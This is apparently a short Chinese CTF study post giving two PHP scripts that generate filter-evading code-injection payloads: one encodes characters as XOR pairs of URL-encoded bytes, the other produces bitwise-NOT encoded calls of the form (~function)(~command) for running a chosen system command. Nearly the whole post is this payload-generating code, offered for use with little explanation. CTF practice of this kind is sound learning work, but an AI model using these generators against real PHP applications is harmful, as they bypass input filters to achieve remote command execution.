php异或和取反脚本ctf-php-学习php异或和取反脚本J1Zh0n92024-11-092024-11-09异或123456789101112131415161718192021222324<?php$l='';$r='';$argv= str_split("b");//更改里面的值,改为需要的字符for($i=0;$i<count($argv);$i++){ for($j=0;$j<255;$j++) { $k=chr($j)^chr(255); if($k==$argv[$i]) { if($j<16) { $l.="%ff"; $r.="%0".dechex($j); continue; } $l.="%ff"; $r.="%".dechex($j); } }}echo "\{$l^$r\}"; 取反123456789101112131415<?php//在命令行中运行/*author yu22x*/fwrite(STDOUT,'[+]your function: ');$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));fwrite(STDOUT,'[+]your command: ');$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';